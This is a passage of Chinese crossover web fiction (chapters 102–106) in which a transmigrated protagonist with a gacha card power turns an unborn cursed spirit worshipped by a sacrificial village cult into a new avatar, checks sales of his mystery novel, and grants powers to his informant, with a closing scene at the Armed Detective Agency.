预定好的地方是一座远离城市的小村庄,剧组与那里说好了, 拍摄的时间是五天四夜, 他们在那里依靠自己的能力生存, 用劳动赚取一种叫“白币”的纸条, 然后用它们去换取一些需要的东西。 综艺的情况略过不提,都是一些惯用的套路一样的东西。柳生明澈对这个村子的情况倒是更感兴趣一些。 白天的时候, 是村长亲自带人接待的他们, 柳生明澈注意到,村民们好似对他们的到来还没有适应。在他们入村的时候, 他们就在明里暗里观察着一行人,他们窃窃私语、眼神诡异, 让被瞧的人生出了一身的鸡皮疙瘩,在后面的拍摄情况中,都心情不高。 直到入了夜,柳生明澈没有入睡,他的队友也同样没有睡。 他们就开始聊天,聊各自的情况,聊这次参加的综艺的事。 “……是谁选定了这里?” “听说是副导演。”他的同伴是一位刚满十八岁的少年,因为出演了一部言情剧而火了起来,是新出的小鲜肉。在这一趟的旅途中,他表现出来的脾气还挺好。“据说他的老家就是在这里,在剧组想要选择地方的时候,他就推荐了这里,说一定能让我们感知到原汁原味的乡村生活。结果你瞧,”小鲜肉苦笑:“是真的很原汁原味,就是苦了我们。” 柳生明澈“啧”了一声,他的这个身份本就是出自社会的底层,一些优雅从容的气度并不属于他,他翻了个身,道:“你有听到什么声音吗?” 队友犹豫了下:“副导演在我们来前就告诫了我们,一些村庄里有村庄的习俗,我们能做的,就是不去打扰。如果我们见到了什么,要学会尊重他们的传统。” 柳生明澈“嗯”了一声,渐渐就不再说话了。夜更深了,万籁俱静,旁边的床上传来微弱的呼噜声,一道身影从黑暗中爬起,他走到窗边,将厚厚的窗帘掀开,看到外面一阵火光通明。 天上没有月亮,厚重的云层将一切都遮拦住。夜色中,一道火把组成的长队如游龙一般往前行进,影影绰绰的人影在火光下闪现,奇怪的是,有这么多人聚集于此,却没有一点声音发出,连脚步声都没有,像是演出一出默剧。 视线的距离拉近,村民们沿着蜿蜒的山路前行,他们沉默不语,每个人身上都披着一件白色的长袍,垂着头,像是在进行着一场肃穆又异常的仪式。暗中的人跟在这支队伍的后面,他有预感,他即将见到这个村子的秘密。 约摸有半个多钟头,这个队伍才在行进中停了下来。火焰的光将这片黑暗的地方照亮了一小块,窥视的人很惊奇地发现,竟有一座祠堂立在那里。它并不高大,甚至还有些小巧,但无一处不干净整洁,它静立在黑暗中,周围没有一簇杂草,整体呈现出一股古怪的庄严之势,让人顿觉邪异。 柳生明澈有些头疼,他没想到自己这样一个只是工具人的马甲也会遇到这样的事,但与此同时,他的心中也涌出了兴奋,因为纵使没有被本体安排,他不也还是遇见了这样有趣的事? 在村民们一个个地走入祠堂中去后,凭借着本体与众多马甲带来的勇气,他也一样偷偷溜了进去。 祠堂内的氛围极为沉凝,村民们俱都跪倒在地上,柳生明澈只能看见他们伏下的背影。祠堂有四根柱子立着,周边贴着一些奇怪的符文,但最为让人关注的,还是一切的中央,众人所跪拜的方向—— 极轻柔的帘幕垂落而下,淡淡的烟雾缭绕其间。神龛长约有半米左右,宽也有四分之一米,它的材质像是厚重的檀木,姿态简洁又不失庄重,白纱的帘幕将其内遮蔽,若隐若无地,透露出一道模糊的轮廓。 檀香的烟气在祠堂内晕开,香味中混杂着一种甜腻的气味涌入鼻中,柳生明澈微微皱了皱眉,他将目光投向神龛内,外面的帘幕动了动,一小段白色的布匹一闪而逝,他看见内里恍似真坐了个人,而现在,有轻轻的、活人般的眼神从中望出来—— “寿哉寿哉福津神!”村民们开始狂热地对着神龛呼喊,他们将身体深深地伏在地上,面上现出无限渴望贪婪的神情,他们的眼底里住着永不满足的欲望的魔鬼,注视着神龛,就像注视着崇高无上的一切。 柳生明澈舔了舔下颚,他的面庞隐藏在黑暗里,观望着这场充斥着愚昧与迷信的祭神的仪式,他有些兴奋地向主体传达消息:“过来,我这里有有趣的事在发生……” 正在书店中购物的裴真一愣,他稍微将心神往这个放养的马甲那边移去。 愈发浓厚的烟气中,某种东西逐渐被扭曲,柳生明澈头脑微昏,那种极端的呼喊声远去,反倒是离他有一段距离的神龛愈来愈近,愈来愈近……近到他都能看清楚内里的形体。 那是个端坐的人影,绸缎如莲花一般铺展在它的下方,它浑身上下都是洁白的颜色,白的有些过分了,有珍珠如石子般堆砌在它旁边,将它如宝物般托起,它已经有了一定的人形,但躯体仍臃肿不堪,上面的肉形在不断流动,像是想要找到一个合适的形态。 “柳生明澈”睁开了眼睛,与这东西面对面对望在一起。 他已经知道这是什么了。是由人心的欲望与罪孽堆起的不洁之物,虽在这里被称为“神”,但它其实是,咒灵。 是一个还在孕育中的,并未诞生的,特级的咒灵。 没想到会遇到这种东西,裴真微微思索,他想起了自己之前抽到的卡。 十五张的抽卡总是能抽到自己想要东西的,他的金手指并不搞什么保底的操作,但它的出货率一直都很高。 [钨铁·身份]【加茂月行(咒术家族旁系)】 “你躺在腐烂的泥土里,最后的双眼看向的,是空无一物的天空。不被家族重视的劣等者,就连死亡也是这样悄无声息的么?你听见了乌鸦喑哑的叫声,你知道,这是你在这世上最后听见的声音了。” 穿着灰旧长袍的青年敞开着双手,躺倒在一片烂泥与杂草相拥的土地上,周围是一片阴暗潮湿的环境,他的眼神也是灰蒙蒙的,身上有一道不断在流血的撕裂的伤口,他无言地注视着卡外,像是停在了死亡前的最后一瞬。 不甘、怨恨、痛苦,都没有,他就像是心口被开了一个空洞,这些激烈的情绪都尽数从中流逝了出去。最后留下来的,只有一点最为纯粹也是最为单纯的念想。 这张卡有些惨,他的身份背景也不好,处在了一个极为糟糕的环境中。裴真还没有将它实装,因为十五次的抽卡中,只出来了这张的[身份]卡,他还需要一张[时装]。并且,咒术界可不是个安全的世界,他还需要一点保障…… 看了看面前这个还未生出的咒灵,裴真想到了自己之前抽到的一张卡,[白银·时装]【灵体】。 咒灵是从人类情绪中诞生的生命,它们的本质也不是物质的,如果将之组合起来会发生什么?裴真一下子起了兴致,他决定在这里研究一段时间。 “寿哉寿哉福津神!”村民们仍匍匐在地上不断地叩请,他们将许多的祭品往神龛前抬,神龛中的咒灵流露出涌动的渴求之意,它不断塑形,或许在下一秒就要破胎而出。 但已经有了打算的裴真制止了这一切,一道规则的链条将整个的祠堂给拴住了,尤其是神龛上,更是被密密麻麻地封住。村民们的动作定住了,咒灵也完全不能动弹,只有眼神中的恶意愈发凝聚,三百六十度转动后,停在了走到它面前的人身上。 一张白银卡被使用,一道朦胧扭曲白烟一样的形体出现在空气中,幽灵一般的灵体只是停顿了数秒,就钻入了咒灵那还尚未定形的躯壳中。 “会成功吗?”裴真在心里想。 一道格外惨烈的痛苦的叫声从神龛中传了出来,像是有某种无形之物在咀嚼着什么一般,咒灵的惨叫声渐渐变小。 直至消弭不见。 一切结束后,微风轻轻拂过,将那道白色细纱的帘幕略微扬起,有一道人类形体端坐其中。它身着一件宽敞大袖的长袍,脖颈较长,但也没长的过分,它从中注视着裴真,像是一位纤纤的女子,又犹如一位素白的男子,温和中透出亲近。 第103章 咒灵体 它正襟端坐其中, 双手交叠在腹前,一张脸面对着裴真。一条柔软的白长布将它的整个上半部分的面部笼住,只露出下方淡红的唇。裴真能感觉到它的视线, 从那张素洁的白布后。与之前的不定之物相比,它褪去了丑陋,生出了邪异。它坐在神龛中, 就有如一位真正的邪神,从人造出的幕布后, 悄悄地窥视着世人。 [白银·时装]【灵体→咒灵体】 “这方土地上,一代又一代, 从来不会缺少那些欲孽深重之徒。他们来到这里,为了自己的欲望向邪神伏地祈求, 百年前如此, 百年后亦如此。只要人类不灭绝, 这种畸形之态就不会根消。” 在数百年前,长寿村的村民们便与邪异达成了一致,他们用其他人的寿数以作供奉, 来为自己延长生命。这样的事他们已经做了数百年, 一代一代, 已经成为了习俗。 他们用无数人的性命, 来养成了这一尊巨魔。它孕育了这么多年,只是为了有一天能成为笼罩这片天空的沉重阴云。 司诅咒、断运、横死、斩嗣、移寿, 名谓“福津”, 实为“噬寿”之“神”。 “此地禁止咒胎攻击。”在异空间中,艾略特伸出手掌, 一条条的锁链延伸向另一面,将祠堂与神龛束缚住, 尤其是那还未诞生出的咒胎,更是得到了他最大的关注。因为有他压制,所以另一道灵体进入其中时,才有了摧枯拉朽之势,将咒灵本胎视作食物,硬生生地啃了下去。 因为担忧缺乏主观能动性,裴真还往里面投入了极少量的心神,而现在,当这张新的[时装]卡转换诞生时,他也依旧能从中感应到自己的一缕,所以,从严格意义上来讲,这也可以算得上是他的新的马甲。 [身份]?不,身份只是他需要融入这个社会时的物品。就像他刚来时一样,若是没有抽出那样[身份]卡,他也依旧是活着的,只是没有了人际的关系,他很有可能就要接受一系列执法机构的调查,无法从正常社会运转中找到定位,基本的权利都没法拥有,简而言之,要赚钱,他只能去打黑工。 但这些咒灵体可都不需要。 如果真的要说,“由长寿村供奉而成的特级的咒灵”,这就是它的身份。 裴真细细感应一番。或许是因为投入心神过少,所以新的灵体中思维很混沌,它是有自己思考能力的,但更多的,还是依靠本能行事。裴真对此倒是挺满意,他没打算造出一个咒灵的马甲,现在的结果恰恰好,不会为自己成为异类纠结,又对其有着完全的掌控能力,已算不错。 “这就完了?”柳生明澈在这具身体里迷迷糊糊地想。 “你还想怎样?”裴真对着他问:“一位超越者,一位无色之王,就算是特级咒灵在这里,也闹不出什么风波,更不要说它连诞生都没有,你觉得它能怎么办?” 柳生明澈哑然,他还在想,自己需要闯过怎样的难关,才能将这一次的事,从源头到原因全部解析,可谁能想到,本体这样一搞,就将对面的BOSS彻底转为了自己一方。甚至都不用去找原因,金手指就将一切的缘由都展现在了他的面前,难道这才是正确的闯关方式? 不过想来也是,如果变得强大了,自己还需要按步骤一层层去解谜,那自己不是白变强了吗?他将本体叫来,不也是要利用他们的力量,去快速将这件事解决吗?思及至此,他就一阵轻松,心中悦然。 “你要将它带走吗?”柳生明澈借用眼睛,注视着自己这位新诞生出的“兄弟”,对方依旧在看着裴真,白布后的眼神静谧、幽然,又带着挥之不去的邪异,它好似是在笑,但当他关注它的嘴唇时,又发现上面平平整整,没有一丝波动。注意到“裴真”的眼神,它微微低下头,恍若产生了羞意,不敢直视他的双眼。 柳生明澈在暗地里“嘶”了一声,感情自己的哪一位同伴都各有所长,每个人的性格也都各有特色,只有自己是完全的工具人,除了那张【男用耳环】卡外,一张多余的卡都没有给自己。 裴真想了想,将[青铜·技能]【绘画】和[灰石·杂物]【最新款跑车】扔在了这里,这是他在从前抽出的;顿了顿,又将一张[灰石·杂物]【高档别墅】与[青铜·杂物]【女仆·猫屋敷樱】和最重要的一张[青铜·技能]【跳舞】也送给了他。这是他在这次的十五次抽卡中抽出的。 在柳生明澈到达这个村庄之前,在艾略特将几人送出异空间之后,将那次的收获整合完成后,他就开始了自己的抽卡。除了[钨铁·身份]【加茂月行】之外,【别墅】、【女仆】和【跳舞】也是这次的收获。 其它的分别是[灰石·杂物]【鳄鱼钱包】、[青铜·技能]【营养调配】、[灰石·杂物]【一本有趣的小说】和[青铜·杂物]【一家餐厅】、[灰石·技能]【吹口哨】。 除了这些看似无用,实际也无用的以外,剩下的都是些可能用的上的。 [青铜·技能]【易容】 “一个人能有多少种身份,这取决于你的速度有多快。像你的前辈快斗学习吧,或许你将是下一个都市怪盗,又或者,你的偶像是贝尔摩德?” 这是张很有用的技能卡,但可惜,它来的太迟了,并且,它与金手指中的[时装]卡的作用重叠了,裴真已经不大能用得上它了。 [钨铁·杂物]【治愈卡】 又名起死回生卡,只要你还留有一口气,不论你受到了什么伤害,又或者是患有了什么疾病,都可以在这张卡起效后治愈。 “所谓治疗,就是不给病人一丝丝还要受到伤害的可能口牙,看我基本愈疗术!” 读作[钨铁],实为[白银],这张卡在某些时候,说不定比起一些[白银]都要来得对有些人重要,用的好说不定就是第二条命,裴真十分惊讶,在[钨铁]当中,居然还有这等效果大于等级的卡,果然,不能一切看材质等级。 第三张。 [钨铁·技能]【百兵】 对人特攻。不论什么武器都能够上手,并能立刻将之熟练掌握。富含多种杀人技,拥有者心静如湖,杀戮也不起丝毫波澜,是为一代技艺大师。 这是一张与[无限制格斗]相似的卡,同它相比,这项技艺更侧重于外物的使用,但殊途同归,都是极厉害的战斗技能。 [灰石·身份]【灯光师】 舞台之下的幕后工作者,有些时候,灯光师能决定哪位演员更加闪亮。 裴真摇摇头,这[身份]实在说不上有用,你看,除了“灯光师”以外,卡牌连他的名字都没有显示出来,可见它的等级之低。 之后还有—— [钨铁·杂物]【咒具·匕首】 缠绕着黑雾一样诅咒的武器,不能用手接触它,现在还很普通,但当它解决完一只咒灵,就有可能从中夺得一点特质,是一把成长型的武器。 虽然说得很好听,但谁知道这东西成长需要多久?裴真将之收起,看向下一张。 [青铜·杂物]【使灵·小鸟】 虽说是使灵,但其实也不过是一只毛发蓬松,白色带点淡蓝色的圆滚滚的小鸟,它可以帮你传递消息,也能帮你带点不超过它体重的东西,只要它的鸟喙能叼起。敌人或许会因为它可爱的外表而忽略它,但若是有强烈的敌意,这一招就不好使啦! 一连十五道的流光环绕在他周身转动,翻出来的,就是这些收获。没有[白银]卡裴真也不失望,本来他选择普通抽卡,就是为了抽出[身份]与[时装],如果想要[白银],他更倾向于积累后直接兑换。 这样一想,他的这个金手指还真是良心,不至于让他完全赌运气。 他在这边思考,那边的柳生明澈则是有些无语,他用一种奇怪的口气说:“在我还没有真正出名的现在,你送我跑车和别墅,只会让我被包养的谣言越传越广……” “不还是有女仆的存在吗?”裴真并不在意:“人们只会以为你家里本身就很有钱……”但他很快就想到了自己给他设定的身份,“唔,真要说到包养,我包养你也没什么,其他的人也应该很乐意给你些东西。”他话题一转:“当然,我们本来就为同一人,这些东西本该就是你的,你不需要在意太多。” “谁会在意这个啊?”柳生明澈嘀嘀咕咕地说。裴真知道他说的是真的,他的思想不至于让他连这点的流言蜚语都挺不过去。他将目光重新投向神龛中的咒灵体。 回答了之前柳生明澈的问话,他道:“它还要留在这里一段时间。” “其实现在还不是它出世的时候,”裴真说:“在这里再孕育一段时光也好。” “不过,”他说:“那些无辜之人的寿数就不要吞噬了,至于其他的,”他看向下方那些在跪着的人,眼中是平静的淡漠:“就不在其中之列了。” 白衣的咒灵体也扫视了一眼下方的村民,它的面上含了笑。 柳生明澈对此也没有异议,在他看来,一些不属于自己的东西,最后失去也是应当。他刚要说些什么,就感到主体的主意识从他的身体中离开了,之前是他刻意没有压制自己,才让他在本体降临时,依然还保留了自己的意识。而现在他离开了,他也不至于手足无措。 他下意识地躲入到方才藏着的地方。看着再次恢复正常的祠堂内,完全不知道发生了什么的村民们继续着自己的跪拜和献祭,神龛内的那尊“神明”重回了宁静,白色的幕帘安静地垂落,也没有目光再看向自己了。 就好像之前的那段静止的时光被掐去了一样,柳生明澈在心里暗惊超越者的能力。只是,他有些为难地想,他该怎样从这里出去,还是一直藏着,直到这些人都离开? 裴真不了解柳生明澈的苦恼,或许在他看来这也不是困难,毕竟那座祠堂中最大的危险已经被他解决了。他现在正在书店中乱逛,在书店的门口,和书架的横幅上,都写着这样几个大字。 “潜力无限新作!《黄昏之血》为您呈现罪与恶中,最深沉温馨的情感!” 第104章 成绩与杂谈 裴真漫步在书店中, 周围人群熙攘,有不少人在讨论着这本新人新作,昏黄中带有一抹血色的封面被摆在入眼可见的地方, 大幅的彩画贴在玻璃门两边,是书店近期的力荐之作。 “新人之光,首部悬疑作品来袭!” “入围之作, 推理奖项获得者,作家用文字叙说一段多年前的爱恨情仇!” 类似这样的标语被挂在周边, 吸引得众人纷纷驻足,有不少人试阅后选择将其购入, 那高高叠起的书册渐渐减少,这让裴真稍微松了口气。 看来自己的作品应当不会落得无人问津的下场, 说实话, 在书店里的心情, 比在那座祠堂中面对咒胎时还要紧张不少,毕竟,咒灵不听话, 可以直接打一顿, 再不听, 就可以直接灭了, 但若是观众们不喜欢他的这本书,他总不能改易他人的想法……用规则也不行! 无数的光点如萤火虫一般飞速往他而来, 它们无穷无尽地从人们身上浮出, 再汇聚到他身边。它们大多数介于0.01~3之间,这是普通的路人能提供的最多的数值, 能够突破1的也是其中极少数,只有情节或者语句触动了人们的心灵, 才能让他们突破本身的桎梏。裴真便看到有一位女士愣愣地瞧着书页,不久后,有1.5的光点从她的身上迸出。 但耐不住他们的人数太多,就裴真知道的,米花市便不是只有一家书店在售。只是这几天,就将他空了地溶液球再度充满,达到了+1810的成果。 他知道,这还不是结束,售出书籍不是一时之功,后续只要购买,就仍能给他增添关注值。就像是给银行中存入了定期,时不时都会有利息生出,再加上柳生明澈的存在,他已经无需对声望值太过忧虑了。 “新一!”不远处传来熟悉的声音,裴真抬眼望去,见到是一对小情侣正停在大大的龙猫旁边,这是商家吸引来顾客的手段,“你也对这本书感兴趣?”她抬头看看门口的立牌。 今天的小兰有好好地打扮一番,穿上了一件及膝的蓝色长裙,上身是一件相称的小香风的长袖外套,面上画了淡妆,脖子上也挂着一串珍珠的项链,一头长发披下,极为清丽。另一人也换上了一件蓝色的西装,内里是一件白色的衬衣,头发也有好好打理,瞧其面貌,正是最近又引起新闻社动荡的工藤新一。 “当然了,”新一面色开朗:“听说这本书入围了多个奖项,是长川右介那件事后的首部爆款,推理协会暗自发力,将其推上舞台,要一扫过去的沉霭,重新竖立好国内推理国度的盛誉呢!” “哎呀,”小兰捂住嘴,她担忧道:“我没想那么多,我只是觉得,那里面的女主角……实在是太可怜了。” “嘘,”新一拿起一本书,对着小兰眨眨眼道:“不要剧透噢。父亲也说这本书可以一读,我还是对里面的案子挺期待的呢!” 两人同样为裴真贡献出了一波关注。他们在那边对话了一小会,果不其然,只是稍许,工藤新一就注意到了他这边,他双眼一亮,拿了一本书就走了过来。 “天野君……天野,”小兰对其的称呼也亲近了很多,早前的礼貌变为了朋友间的熟稔,她也很高兴:“你也是过来买书的吗?” 工藤新一倒像是看出了什么,他走近过来,凑近裴真这边小声说:“这本书的成绩好像很不错,我爸爸看过了,在新闻采访的时候也提起过,说是很看好这位作者。” “那就替我多谢工藤优作先生了,”裴真很有礼貌:“能有写作路上的大前辈提携,一定能让我少走很多弯路。” “哦,”工藤新一颇为惊讶:“你居然承认了下来?” 裴真心平气和:“这有什么不能承认的,我只是不喜欢宣扬,自己做的事,能做的事,还是不会躲避的。” “呵呵,”工藤新一虚着眼看他:“你先不要将你接到的麻烦委托推给我再说!”他已经了解清楚这家伙的性子了。 裴真恍若未闻,他转向小兰,像是不经意道:“你们定下的餐厅时间快到了,再等这小子磨蹭下去,约会说不定就晚了。” 小兰的脸红红的,工藤新一的脚也快要跳起来,“什、什么……约会?”小兰抓住了工藤新一的手臂,两个人很快就退了下去。 “这小子变回来后倒是挺果断的。”裴真感叹着前世一千多集的剧集,多数是让人看了个寂寞。 他瞥了眼自己的溶液球,发现现在里面已经有了1900,竟是直接满足了银色一抽。 但上次的十五抽耗费了他的期待,让他最近没有兴致动这令他情绪起伏的东西。他走出书店,一个人沿着街道,慢慢地走回去了。 ===== 裴真回到了侦探社中。第二日,电视里在播放着一则突如其来的消息。 “很抱歉通知各位观众朋友们,最近本台一直在播的《明星乡村行》节目将在今日暂停播放。原因是节目组没有就录制事宜与当地村民达成一致。基于尊重当地村民意愿,以及确保后续工作能够在和谐稳定的环境中开展,电视台经慎重考虑,决定让该节目暂时停播……”一位女主持人在屏幕中侃侃而谈。 “听说是当地爆发了暴力冲突呢。”忽然,在裴真的身边响起一道声音。他侧过头望去,见到是一张陌生的脸。 “你今天叫什么?”裴真问。 “新木直。”陌生的人眨巴了下眼,很干脆回答道。 “好的,羽贺茂。”裴真叫起了他上次的名字。 来人将一份外带的食物放在前面的茶几上,他微眯着眼道:“所谓‘线人’,就是要以最不引起人注意的身姿,去取得最无人知晓的情报。不论大小,都是在我的狩猎范围内。” “你能教我【易容】术是很好的啦,这能让我的潜伏工作更加完美无缺,虽然我不知道你是怎么做到的,只是,”他看了看自己提过来的袋子,“你已经不能满足于我仅仅给你送外卖了吗?直接送给我一家【餐厅】是怎么回事?还有【营养调配】和【厨艺】,我倒是不知道,我还兼职这个?” “不要在意这些细节,”裴真撇过脸:“说说这个综艺的事。” 线人看了他一会,将手机放在他面前,里面是一个录制的视频。视频里面是一段很诡异的画面,身穿白袍的村民将视频的主人围堵住,人声在尖叫,画面也在不断晃动,很快,手机摔在地上,一只手将之捡起,下一瞬,画面变黑了。 裴真将视线移开,“这是一个祭祀邪神的村子,他们这是在选祭品。”他淡定道:“不用担心,他们不会成功的。” 线人:“?” “最近还在关注着你的人已经少了很多,”他说:“公安的人退走了,但一些特殊部门的人还在,还包括了一些带着兔子面具的人,听说这些人以前来过,最近不知道为什么又关注起了这里。” “我有了易容能力才探出的消息,据说‘无色之王’第一次显露踪迹的时候就是在这里,这一次的大型的失踪案让他们又注意到了这边,是某位秘密的大人物下达了命令,让他们将这里再搜寻一番,有任何消息都要报上去。” 裴真沉默。 “这块地方还真是多灾多难啊。”线人的声音渐渐小了下去,“话说,那什么,”他想起了自己身上发生的一些奇怪的事,还有自己收集的大部分人的信息,他犹豫道:“……你该不会就是无色之王吧?” 裴真转过了头,还是一言不发。 线人也陷入了沉默。他像是没想到自己会得到这样的回应,蹲在那里,久久未动。 裴真瞥视了他一眼。这种金手指抽出来的人物很奇怪,他并非是自己的马甲,拥有自己的身体和记忆,还有独属于他们的性格。他已经问过了,他不认为自己的存在有什么问题,甚至对裴真的金手指也没有任何的印象。与其说是一张卡牌,还不如说是一个真实的人。 线人先生明显正陷在自己的回忆中。他想起了过去。从读小学的时候开始,他就很喜欢这种泯于人群中的感觉,后来踏上了一条藏身于黑暗中的路,他也依据着自己的天赋和努力,成为了这其中的佼佼者。虽然评价为[青铜],但其实,线人在黑白两道中还是颇有声名的,知道的都称呼其“千面”。 至于为什么会效忠于面前这个年轻的侦探,是因为他在落难的时候,这个人给了自己一份热腾腾的面包……别笑!严肃点,这是真的。虽然存在感一直不高,但他内心其实是一个知恩图报的人。后来感觉有些累了,又见到这人继承了一家侦探社,就赶了过来,决定为其做事。 但怎么就成了一位“王”呢?分明在刚来到这里的时候,还是一个青涩、不适应都市的少年人。 “你真的是啊?”他干巴巴地问。 裴真终于开了口:“我也很意外。但不得不说,它帮助了我很多。” “那能给我一份力量么?”他想起了自己在那些特异人士下,只能狼狈逃走的过去,还有最近,因为那个兔子面具的人,不得不停止打探的情况,如果要继续为这人做事…… 裴真转过了身,只是稍许,线人便听见他说:“可以。” 第105章 接下来的目标 他听见他说:“可以。” 然后, 裴真就伸出手来,他甚至还没感觉到他触碰到他的头,一股力量就从他的身体中生出, 他抬起自己的手,见到上面环绕着一层无色的能量,他轻轻一抬脚, 就感到整个人能从地上飞起,他有些茫然, 又有些不可置信:“我这就成为能力者了?” 裴真观察着他,说实话, 这还是他在除了马甲外(还有猫),第一个赐予力量的眷族, 虽然他本质上也是属于金手指的一部分。 他没有让自己的马甲暴露出“无色之王眷属”的身份实属有先见之明, 否则的话, 依现在他们的身份,肯定会让他感到焦头烂额,就算是王, 也是王里面最特殊的一个。 但很奇妙的是, 他觉着自己依旧能降临在这人身上, 并且, 还不会受到他主意识的攻击。眷属就像是王力量河流分出的支体,就像他们立在地上的桩, 他们的人数愈多, 反馈出来的情绪愈精纯,就越能够让他的能力稳定。他抬头看了一眼自己的上方, 知晓这是属于双方间的互利互惠。 “我应该如何称呼您?”线人扭捏了下,问道:“叫‘王’吗?” 裴真有些无语:“你不觉得尴尬吗?和以前一样, 该怎么来就怎么来吧。” “还有,”他捏了捏眉心,想起了自己之前遗留下来的一些麻烦:“在东京那边还有一部分人,他们在那里也开了家餐饮店,你去挑选一些人,作为你的帮手。都是些普通人,看不上的就直接剔除,为首的叫西尾粧,可以向他们展示你的力量,这些人就归你管理了。” “我这就有人手了?”线人先是惊奇,可很快,他就反应过来:“不,等等,你就没有其他眷属了吗?我的意思是,除我以外的同伴?” 裴真笑了下,他拍了拍他的肩膀:“以后你就是‘无色之王’在外的话事人了。” 骤负重托的线人只感觉肩上一沉,某种无形的东西袭来,之前略有些兴奋的心情一下子就顿住了。 ………… 神龛中的咒灵体还需要孕育一段时间,柳生明澈那边正在与那些村民们斗智斗勇,他的另一位队友是在列车上出现过的那位女明星小桔子,这个女人也是倒霉,还没享受到火起来的待遇,就又卷进了这样糟糕的事中。 注意到他在看她,与其一起躲在一处房屋中的小桔子疑惑望去:“柳生君,你是发现了什么吗?” “不,没有。”柳生明澈回答。知道自己所有马甲事的他清楚这些人都不会有事,这个女人也比上一次好了很多,尽管依旧紧张到发抖,但居然拿起了武器,逃走时还砍伤了一人,可见这世上还有不少人并非是真正软弱的,只是他们的生长环境塑造出了现在的他们。 “别担心,”她冲着他一笑,面色苍白:“这些人好像一时还不准备杀死我们,我们尽量躲着,外面的人会进来救我们的,别忘了,刚才我们还在直播呢!” 想要成为拯救他人的人,也要救自己。就像那时黑暗中的她一样,成为一株美丽的花。 这就是我所憧憬着的啊。小桔子一时有些恍惚。 这个世界或许有很多时间都在将镜头放在各位主角身上,但那些没有戏份的,也并非没有自己的人生。他们也有喜怒哀乐,只是观测者并不曾“观看”到他们罢了。 裴真在思考接下来要如何做。自那日书店归来后,融液球中在第二日又进项了580数的光液,至此,他已拥有了2480的总数。他没有动用,而是在想自己接下来的目标。 在来到这个世界之后,他最开始的目标,是为了能在这世上保证自己的安全。这是个由几部动漫糅杂成的世界,日常中有无时无刻不在发生的罪案,人们会冲动犯罪、蓄谋犯罪,亲人朋友同事,甚至是路上随意走过的行人,都有可能成为下一秒的凶手;普通人中有势力遍布全球的黑衣组织,超凡界中有异能者、咒术师和王权者,枪械在黑暗中肆意取走性命,迦具都陨坑70余万人的灵魂还在那座废墟上飘荡,异能者们参与进世界级的大战,距离战争结束还没有十多年,身边更是随时随地都可能有咒灵在飘荡,它们能够看见你们,你却完全看不到它们,一旦它们想动手,你连出了什么问题都不知道…… 裴真不知其他的穿越者是怎样安然生活下去的,但一向未雨绸缪的他,是不能容忍自己的生命处在这样的威胁下的,所以他创造出了马甲,想以最安全的方式来增加自保的能力。 超越者,是他所知的顶峰。拥有石板的日本,在上次的世界大战中拥有了自主权,可依旧没能获得战争的胜利,这无疑说明了某些东西。艾略特是他王权剑后的又一项保障,将【异空间】给他,是因为他并不想“称霸”世界,他会成为悬于世外的利刃,人们忌惮他,但与此同时,也不得不尊重他。 他已经成为了这个奇怪世界力量最顶峰的那群人之一了啊。裴真默默地想。 可这就是结束了吗?不,这只是完成了第一步。他取出一缕红线,[白银·珍物]【红丝线】,这是他手上仅剩的一份白银之物了,外加一张因艾略特事件获得的白银成就[升阶卡],因成就而来的,除了一开始的那点黄金点,其它换来的,都是各自等级的升阶卡,他将之看作历经了事件的基础奖励,这两张就是他现在最珍贵的存物了。 他接下来应该要做的,是获取黄金之物,或是黄金级的能力。与之类比的有,“书”的书页、德累斯顿石板的王权剑、咒术回战中的……不,咒术中没有这等触及到了世界根源的东西,或许咒灵们诞生的因由可能涉及到了这点。他在想,自己能接触到哪些。 为确保能得到,他应当去做一件更大的事,是比从前的事都大,最好是能够改变整个世界。黄金成就【穿越之人】生而不凡,以此而来,也应当做成一番与之相称的伟业,如此才能获得对等的成就。他看向了自己还没出世的新马甲。 而之后呢,裴真站起身,他走到了侦探社的窗后,看着广阔无边的蔚蓝天空,谁能想到世界之外还有世界?他又是为什么来到这里,又怎么会有这样一个能用声望值换来抽奖次数的金手指——这个问题就如同“人为何而诞生”、“我是从何而来”一般,是如同呼吸般从心底里生出的疑问,只是之前他没有能力去追寻,所以刻意让自己不去想罢了。 让自己更强一些吧,去追求答案。马甲们似乎也察觉到本体下定了决心,他们有的在寂静的酒吧中放下了高脚杯,有的在自然开拓区中划下了一道绘制地图的线,有的在FBI 的大楼中审阅着报告,也有缩在未诞生的咒灵体神龛下的,异空间的超越者伸出了手,似乎在以此表达自己的支持…… 这是他踏出的第二步。 去解开自己身上的谜团。 ===== 横滨市,武装侦探社中。江户川乱步在听完了太宰治一番“在超越者的异空间中奇妙冒险”的讲述后,连连点起了头:“嗯嗯!” “诶,”一边的中岛敦连忙问:“乱步君发现了什么吗?” 江户川乱步一推眼镜,镜面上反射出一道白光,他沉声道:“我很肯定,最后留下那样一句话,太宰确实是觉得自己活够了,不愧是一年三百六十五天,天天都在找死的家伙!” “什么?”中岛敦惊呼:“那句话有那么严重吗?不就是说他还另外有‘客人’吗?” 太宰治双手如海草般从两人身边飘了过去,他脸上带着一副梦幻般的神情:“没办法,谁让我那么聪明呢,其实我也不是很想发现哒。” 中岛敦额上滴下一滴汗。“知道危险就不要说出来啊!”他在心里大喊。 “可惜了,阴沟里的老鼠没能彻底被笼子拴紧,”下一秒,太宰治脸上的神情就转变为了狡诈的阴狠:“我最想看到的,其实是费奥多尔被拴在洞窟里,用鞭子狠狠地鞭笞他,最好能让他永远下不来地!” “这话怎么听起来有点奇怪?”中岛敦在思考。 在他们的背后,谷崎润一郎带着自己的妹妹在到处搜寻,“杂志,有谁看到我刚到的《不容于世~极危感情狠狠爱》杂志了吗?” “别人不想让你知道,就说明有不想让你知道的原因,”江户川乱步将之略过,他转向太宰治:“他无意插手现世的事,这让出了一位超越者的影响降到了最小,横滨市还处在混乱中,这样的意外还是少一些为好。” “他不是说会给你补偿吗?”他问太宰治:“给了你什么?” 太宰治微笑着将一样东西递了出来,是一张青色的请柬。 周围人先是疑惑,可几乎是下一刹,他们就想起了什么,几个人一齐往后连跳,国木田更是将笔记本挡在自己身前,他大声喊:“不,我不要过去见到诡怪!” 太宰治面上的笑容更盛了,他笑眯眯道:“国木田要是异化成怪物,估计会是‘耕牛’吧,去到怪物世界也是这样勤勤恳恳,真是让人想想都感动到落泪。放心好了,这不是一份邀请。” 江户川乱步将之打开看了看。 第106章 你说 如果江户川乱步看过赤井秀一手上的那份, 他就会发现,这封与那封并不相同。那份精美庄重,色泽鲜艳富有生机, 而这份,则更清淡一些,像是随手赠出的礼物。 “这是……”江户川乱步目视着请柬的背景, 见到上面只有几缕花纹,中间单独的位置写了两行字。 “赠太宰治: 